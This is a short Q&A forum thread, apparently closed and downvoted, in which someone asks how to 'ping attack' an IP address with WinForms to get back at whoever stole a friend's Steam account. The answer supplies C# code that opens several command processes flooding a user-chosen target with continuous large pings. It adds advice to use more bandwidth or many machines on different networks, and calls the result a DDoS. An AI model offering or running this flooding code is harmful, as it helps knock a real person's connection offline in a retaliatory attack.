c # how to make a ping attack the ip of a computer [closed]

-5

Hello everyone I needed to know how can I do a ping attack to an ip using winforms Can someone help me if someone stole the steam account from a friend?

    
asked by anonymous 27.07.2016 / 17:57

1 answer

4

You can try something like this

private void button1_Click(object sender, EventArgs e)
    {
        Pekiradu(textBox1.Text);
    }

    private static void Pekiradu(string destino)
    {
        System.Diagnostics.Process proc;
        int i = 0;
        string cmd = $"/C ping {destino} -t -l 65000";
        for (i = 0; i < 5; i++)
        {
            proc = new System.Diagnostics.Process();
            proc.EnableRaisingEvents = false;
            proc.StartInfo.FileName = "cmd";
            proc.StartInfo.Arguments = cmd;
            proc.Start();
        }
    }

Only you will need to have an internet higher than the target being attacked, or have many other computers on different networks firing this ping to the same destination.

Basically what you are trying to create is a Ddos

    
27.07.2016 / 18:03